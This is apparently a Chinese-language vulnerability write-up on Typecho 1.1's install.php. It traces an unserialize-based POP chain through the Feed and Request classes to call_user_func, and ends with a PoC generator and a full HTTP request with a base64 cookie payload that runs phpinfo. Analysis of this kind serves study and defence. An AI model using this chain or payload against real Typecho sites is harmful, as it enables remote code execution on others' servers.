反序列化触发点

  • 在install.php 中存在用户可控的反序列化
    1
    2
    3
    4
    5
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
  • 前面有几个判断需要绕过才能到达反序列化的位置
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    //判断是否已经安装
    if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
    }

    // 挡掉可能的跨站请求
    if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
    exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
    $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
    exit;
    }
    }
  1. 第一个if传入?finish=123 即可
  2. 第二个if加入referer即可

    Referer: http://127.0.0.1

反序列化利用链

1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
  • 最直接的想法是直接利用destruct或者wakeup,但是typecho并没有可以利用这两个魔术方法的地方
  • 第二种想法就是利用unserialize的返回值,也就是$config

这里$config['adapter']$config['prefix']被传入了Typecho_Db类的构造函数__construct中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}
  • $adapterName$prefix 都是用户可控的
  • $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    如果$adapterName 是一个对象的话,会触发__toString

全局搜索可以找到3个__toString:

  1. Typecho_Db_Query类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    public function __toString()
    {
    switch ($this->_sqlPreBuild['action']) {
    case Typecho_Db::SELECT:
    return $this->_adapter->parseSelect($this->_sqlPreBuild);
    case Typecho_Db::INSERT:
    return 'INSERT INTO '
    . $this->_sqlPreBuild['table']
    . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
    . ' VALUES '
    . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
    . $this->_sqlPreBuild['limit'];
    case Typecho_Db::DELETE:
    return 'DELETE FROM '
    . $this->_sqlPreBuild['table']
    . $this->_sqlPreBuild['where'];
    case Typecho_Db::UPDATE:
    $columns = array();
    if (isset($this->_sqlPreBuild['rows'])) {
    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
    $columns[] = "$key = $val";
    }
    }

    return 'UPDATE '
    . $this->_sqlPreBuild['table']
    . ' SET ' . implode(' , ', $columns)
    . $this->_sqlPreBuild['where'];
    default:
    return NULL;
    }
    }

    这里拼接了sql语句但是没有执行,用处不大

  2. Typecho_Config类

    1
    2
    3
    4
    public function __toString()
    {
    return serialize($this->_currentConfig);
    }

    serialize 会触发__sleep,不过typecho 中没有存在__sleep的类

  3. Typecho_Feed类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    public function __toString()
    {
    $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

    if (self::RSS1 == $this->_type) {
    $result .= '<rdf:RDF
    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
    xmlns="http://purl.org/rss/1.0/"
    xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

    $content = '';
    $links = array();
    $lastUpdate = 0;

    foreach ($this->_items as $item) {
    $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
    $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
    if (!empty($item['suffix'])) {
    $content .= $item['suffix'];
    }
    $content .= '</item>' . self::EOL;

    $links[] = $item['link'];

    if ($item['date'] > $lastUpdate) {
    $lastUpdate = $item['date'];
    }
    }

    $result .= '<channel rdf:about="' . $this->_feedUrl . '">
    <title>' . htmlspecialchars($this->_title) . '</title>
    <link>' . $this->_baseUrl . '</link>
    <description>' . htmlspecialchars($this->_subTitle) . '</description>
    <items>
    <rdf:Seq>' . self::EOL;

    foreach ($links as $link) {
    $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
    }

    $result .= '</rdf:Seq>
    </items>
    </channel>' . self::EOL;

    $result .= $content . '</rdf:RDF>';

    } else if (self::RSS2 == $this->_type) {
    $result .= '<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/">
    <channel>' . self::EOL;

    $content = '';
    $lastUpdate = 0;

    foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    ......
  • 一个很长的方法,其中
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    如果$item['author']是一个类并且不存在screenName属性的话,会触发其__get方法

__get方法还挺多的,能够利用的是Typecho_Request类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __get($key)
{
return $this->get($key);
}

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

可以看到$key会被传给get方法,get方法给$value赋值后将其传给_applyFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}
  • 这里的array_mapcall_user_func都可以利用,只需要将$filter设为想要执行的函数,$value设为函数的参数即可

构造poc

  • 一开始写的poc
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php
    class Typecho_Request
    {
    private $_params = array();
    private $_filter = array();

    function __construct()
    {
    $this->_params['screenName'] = '123';
    $this->_filter[0] = 'phpinfo';
    }
    }

    class Typecho_Feed
    {
    private $_items = array();
    private $_type;

    function __construct()
    {
    $this->_type = 'RSS 2.0';
    $this->_items[0]['author'] = new Typecho_Request();
    }
    }

    $config['adapter'] = new Typecho_Feed();

    echo base64_encode(serialize($config));
    结果返回了http 500

这是因为install.php在一开始调用了ob_start()开启了缓冲区,反序列化pop链执行后phpinfo()的内容没有立刻输出,而是先存在缓冲区里。

之后在Typecho_Db类的__construct中会抛出错误

1
2
3
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

之后会调用/var/Typecho/Common.php的exceptionHandle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();

if (defined('__TYPECHO_DEBUG__')) {
echo '<h1>' . $exception->getMessage() . '</h1>';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}

exit;
}

这里会调用ob_end_clean清除缓冲区然后返回500

  • 因此想要有回显的话可以在pop链最后造成一个错误使程序终止
    比如在Typecho_Feed类的__construct方法中加入一个
    $this->_items[0]['category'] = Array(new Typecho_Request());

  • 最终的poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php
    class Typecho_Request
    {
    private $_params = array();
    private $_filter = array();

    function __construct()
    {
    $this->_params['screenName'] = '123';
    $this->_filter[0] = 'phpinfo';
    }
    }

    class Typecho_Feed
    {
    private $_items = array();
    private $_type;

    function __construct()
    {
    $this->_type = 'RSS 2.0';
    $this->_items[0]['author'] = new Typecho_Request();
    $this->_items[0]['category'] = Array(new Typecho_Request());
    }
    }

    $config['adapter'] = new Typecho_Feed();

    echo base64_encode(serialize($config));
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    GET /typecho1.1/install.php?finish=123 HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    X-Forwarded-For: 8.8.8.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Referer: http://127.0.0.1
    Cookie: __typecho_config=YToxOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzoiMTIzIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czozOiIxMjMiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO319